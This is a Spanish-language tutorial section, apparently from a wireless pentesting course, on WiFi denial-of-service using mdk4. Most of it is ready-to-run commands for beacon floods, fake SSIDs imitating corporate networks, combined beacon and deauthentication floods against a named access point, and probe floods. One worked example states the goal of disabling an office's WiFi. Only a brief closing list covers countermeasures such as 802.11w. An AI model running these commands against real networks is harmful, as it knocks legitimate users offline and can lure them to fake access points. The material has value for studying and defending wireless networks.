# 8. DoS y Beacon Flood

## 7. DoS y Beacon Flood

### 7.1 ¿Qué es un ataque DoS en WiFi?

Un ataque de **Denegación de Servicio** en redes inalámbricas busca **inundar el medio** o **colapsar al AP** para que clientes legítimos no puedan comunicarse. En el espacio 802.11 esto se logra con:

- **Flood de beacons**: inundar un canal con falsos “anuncios” de APs.
- **Flood de deauth**: enviar miles de tramas de desautenticación.
- **Fragmentación**: explotar el reensamblado de fragmentos para congestionar la pila del cliente/AP.

Aquí nos centramos en **beacon flood** y variantes rápidas con *mdk4*.

---

### 7.2 Fundamentos de 802.11: Tramas Beacon

- Cada AP envía **tramas beacon** (~10 por segundo) anunciando:
  - SSID, BSSID, canal, capacidades.
- Los clientes escuchan estos beacons para descubrir redes.
- **Beacon flood** genera miles de beacons falsos por segundo, saturando el canal y la tabla de redes disponibles de los clientes.

---

### 7.3 Herramienta principal: `mdk4`

`mdk4` es un framework de ataque WiFi en C, multi-módulo y multihilo:

- **Modo b (Beacon flood)**: crea APs falsos con SSIDs aleatorios o fijos.
- **Modo d (Deauth flood)**: envía tramas deauth en ráfaga.
- **Otros modos**: probe flood, fake authentication, etc.

#### Parámetros clave para Beacon Flood

| Opción | Descripción |
|---|---|
| `-b` | Modo beacon flood. |
| `-n <SSID>` | SSID fijo para inundar (o usa `-b -n .` para SSIDs aleatorios). |
| `-f` | Flood continuo (sin límite de paquetes). |
| `-s <ms>` | Intervalo en milisegundos entre beacons. Ej. `-s 10` → 100 beacons/segundo. |

| Opción | Descripción |
| --- | --- |
| `-c <CH>` | Especificar canal. Si no, rota en todos los canales. |
| `-l <count>` | Número de redes falsas (por default = 64). |
| `<iface>` | Interfaz en modo monitor (ej. `wlan0mon`). |

---

## 7.4 Flujo de un Beacon Flood con `mdk4`

1. **Modo monitor**:

   ```
   sudo airmon-ng start wlan0
   ```

2. **Beacon flood básico**:

   ```
   sudo mdk4 wlan0mon b -f
   ```

   - Inunda el canal actual con SSIDs aleatorios sin parar.

3. **Beacon flood a canal específico y SSID fijo**:

   ```
   sudo mdk4 wlan0mon b -c 6 -n "FakeOfficeWiFi" -f -s 20
   ```

   - Canal 6, SSID “FakeOfficeWiFi”, un beacon cada 20 ms (~50/seg).

4. **Rotación de canales**:

   ```
   sudo mdk4 wlan0mon b -c 1,6,11 -f
   ```

   - Inunda los canales 1, 6 y 11 en bucle.

---

## 7.5 Variantes avanzadas

### 1. Beacon + Deauth mixto

```
sudo mdk4 wlan0mon b -n . -f &
sudo mdk4 wlan0mon d -t 28:77:77:74:B1:AC -f
```

- & ejecuta beacon flood en background, luego deauth flood al AP legítimo.

### 2. Beacon con SSIDs comunes

Crea una lista de SSIDs relevantes (`ssids.txt`) y usa:

```
sudo mdk4 wlan0mon b -f -w ssids.txt
```

Esto inunda con nombres de redes reales o corporativas para confundir a usuarios.

### 3. Flood de probe requests

Para colapsar a clientes que envían probe requests:

```
sudo mdk4 wlan0mon p -f
```

- Modo `p`: probe request flood con SSIDs aleatorios.

---

## 7.6 Ejemplo práctico completo

Supongamos:

- Tu objetivo es **deshabilitar el WiFi de una oficina** sobre canal 11, y despistar con APs falsos:

1. **Poner modo monitor**:

   ```
   sudo airmon-ng start wlan0
   ```

2. **Beacon flood en canal 11**:

   ```
   sudo mdk4 wlan0mon b -c 11 -n "OficinaWiFi" -f -s 10
   ```

   - Crea “OficinaWiFi” falso, 100 beacons/seg.

3. **En otro terminal, deauth flood al AP legítimo**:

   ```
   sudo mdk4 wlan0mon d -t 28:77:77:74:B1:AC -f
   ```

   - Inunda con deauth sin parar.

4. **Efecto**:
   - Clientes ven demasiados APs llamados “OficinaWiFi”.
   - La señal del AP real se pierde entre el ruido.
   - Dispositivos no se autentican (no encuentran AP estable) → DoS.

---

## 7.7 Contramedidas

- **802.11w (MFP)** bloquea deauth flood.
- **Filtrado de SSIDs** conocidos en clientes corporativos.
- **Monitoreo de ráfagas** de management frames.
- **Reducción de tasa de beacons** y **canales alternativos** dinámicos.

---